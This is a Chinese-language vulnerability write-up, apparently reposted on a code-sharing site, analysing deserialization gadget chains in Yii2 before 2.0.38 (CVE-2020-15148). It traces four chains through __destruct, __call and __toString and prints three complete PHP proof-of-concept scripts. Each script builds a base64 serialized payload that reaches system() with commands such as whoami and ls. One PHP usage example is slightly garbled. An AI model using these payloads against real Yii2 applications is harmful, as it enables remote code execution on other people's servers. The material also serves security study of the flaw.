yii2反序列化总结


yii2反序列化漏洞分析

影响范围

Yii2 <2.0.38

环境安装

composer安装比较繁琐https://www.jianshu.com/p/62439169bab9

漏洞分析

首先漏洞出发点在BatchQueryResults.php中,起始点一般都是能够自动调用的函数中
也就是__destruct()方法

public function __destruct()
{
    // make sure cursor is closed
    $this->reset();
}

会自动调用reset()方法

并且这里$this->dataReader可控,可以调用不存在close()方法并且存在__call()方法的类,就是找一个跳板

诺 全局搜索__call()方法

找到Generator.php中的__call方法,其中调用了format函数

public function __call($method, $attributes)
{
    return $this->format($method, $attributes);
}

这里又调用了getFormatter()函数,我们知道第二个参数是不可控的,而这个函数的返回值可控

会返回$this->formatters[$formatter],然后就有了两个思路

先说一下call_user_func_arary()的用法

class S{
     public function __construct(){
              }     
public static function say1($word){
         echo $word;     
}     
public function say($word){
         echo $word;     } }
 /*使用方式一:无需实例化调用类的静态方法*/ call_user_func_array(array('S','say1'),array('Hello PHP'));
 /*使用方式二:不实例化调用类的非静态方法*/ call_user_func_array(array('S','say2'),array('Hello PHP'));
``

直接调用方法或者是对象中的方法。

但是这里第二个参数我们控制不了值也是空
所以只能考虑调用一个无参的方法,但是大佬调用的是call_user_func()方法,绝


然后找到某个类中的方法中调用了这个方法且参数可控的地方,rce就成了

function \w+\(\) ?\n?\{(.*\n)+call_user_func正则搜索

/rest/indexAction.php中

![](https://img2020.cnblogs.com/blog/2131373/202009/2131373-20200922222435842-342864299.png)



其中这两个参数可控,直接RCE,也就到了我们的终点,虽然中间跳板找的有点难受

## poc1

```php
<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'whoami';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;
    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }

    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}

namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

这里需要另外创建一个控制器

运行poc访问控制器传入参数实现RCE

利用链2

BatchQueryResult类修复之后无法实例化了,就要找一个新的起点

利用链的起点advanced\vender\Codeception\Extension\RunProcess

public function __destruct()
{
    $this->stopProcess();
}

public function stopProcess()
{
    foreach (array_reverse($this->processes) as $process) {
        /** @var $process Process  **/
        if (!$process->isRunning()) {
            continue;
        }
        $this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
        $process->stop();
    }
    $this->processes = [];
}

同样还是找__destruct()方法调用了stopProcess()函数,因为这里的$this->processes可控,后半段的利用链和第一个就一样了

利用链3

看到这个类lib\classes\Swift\KeyCache\DiskKeyCache.php

public function __destruct()
{
    foreach ($this->keys as $nsKey => $null) {
        $this->clearAll($nsKey);
    }
}

public function clearAll($nsKey)
{
    if (array_key_exists($nsKey, $this->keys)) {
        foreach ($this->keys[$nsKey] as $itemKey => $null) {
            $this->clearKey($nsKey, $itemKey);
        }
        ....
    }
}

然后调用的函数中的所有参数是我们可控的,然后继续跟进clearKey方法

public function clearKey($nsKey, $itemKey)
{
    if ($this->hasKey($nsKey, $itemKey)) {
        $this->freeHandle($nsKey, $itemKey);
        unlink($this->path.'/'.$nsKey.'/'.$itemKey);
    }
}

这里$this->path是我们可控的,凡是涉及到字符串操作并且参数可控的都应该能想到__tostring当跳板

然后就找到see.php中存在__tostring()方法

public function __toString() : string
{
    return $this->refers . ($this->description ? ' ' . $this->description->render() : '');
}

这里$this->description又是我们可控的,也就是说能够继续调用__call()方法实现反序列化

  • poc
<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'ls';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            // 这里需要改为isRunning
            $this->formatters['render'] = [new CreateAction(), 'run'];
        }
    }
}

namespace phpDocumentor\Reflection\DocBlock\Tags{

    use Faker\Generator;

    class See{
        protected $description;
        public function __construct()
        {
            $this->description = new Generator();
        }
    }
}
namespace{
    use phpDocumentor\Reflection\DocBlock\Tags\See;
    class Swift_KeyCache_DiskKeyCache{
        private $keys = [];
        private $path;
        public function __construct()
        {
            $this->path = new See;
            $this->keys = array(
                "axin"=>array("is"=>"handsome")
            );
        }
    }
    // 生成poc
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>

利用链4

起点还是一样,与上述不同的是不用急着找跳板,reset()方法中$this->_dataReader是我们可控的,我们只需要找到一个类中存在close()方法并且这个方法存在危险函数或是又可以延展调用链的就欧克

找到advanced\vendor\yiisoft\yii2\web\DbSession.php这个类中的close()方法

public function close()
{
    if ($this->getIsActive()) {
        // prepare writeCallback fields before session closes
        $this->fields = $this->composeFields();
        YII_DEBUG ? session_write_close() : @session_write_close();
    }
}

会调用advanced\vendor\yiisoft\yii2\web\MultiFieldSession.php中的composeFields()方法,因为是继承此类的,看到这个方法

protected function composeFields($id = null, $data = null)
{
    $fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];
    if ($id !== null) {
        $fields['id'] = $id;
    }
    if ($data !== null) {
        $fields['data'] = $data;
    }
    return $fields;
}

顺带一提这两个函数的区别:

  • 如果传递一个数组给 call_user_func_array(),数组的每个元素的值都会当做一个参数传递给回调函数,数组的 key 回调掉。
  • 如果传递一个数组给 call_user_func(),整个数组会当做一个参数传递给回调函数,数字的 key 还会保留住。

这里要利用call_user_func()函数能够将实例化对象作为数组传递给函数,也就是说这里因为我们可控$this->writeCallback,然后赋值[new \yii\rest\IndexAction($func, $param), "run"];
就可以调用之前我们所找到的终点--run()方法,再进行RCE

  • poc
<?php
namespace yii\rest {
    class Action
    {
        public $checkAccess;
    }
    class IndexAction
    {
        public function __construct($func, $param)
        {
            $this->checkAccess = $func;
            $this->id = $param;
        }
    }
}
namespace yii\web {
    abstract class MultiFieldSession
    {
        public $writeCallback;
    }
    class DbSession extends MultiFieldSession
    {
        public function __construct($func, $param)
        {
            $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
        }
    }
}
namespace yii\db {
    use yii\base\BaseObject;
    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct($func, $param)
        {
            $this->_dataReader = new \yii\web\DbSession($func, $param);
        }
    }
}
namespace {
    $exp = new \yii\db\BatchQueryResult('system', 'whoami');
    echo(base64_encode(serialize($exp)));
}

参考
https://juejin.im/post/6874149010832097294
Yii2 反序列化(CVE-2020-15148)分析


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM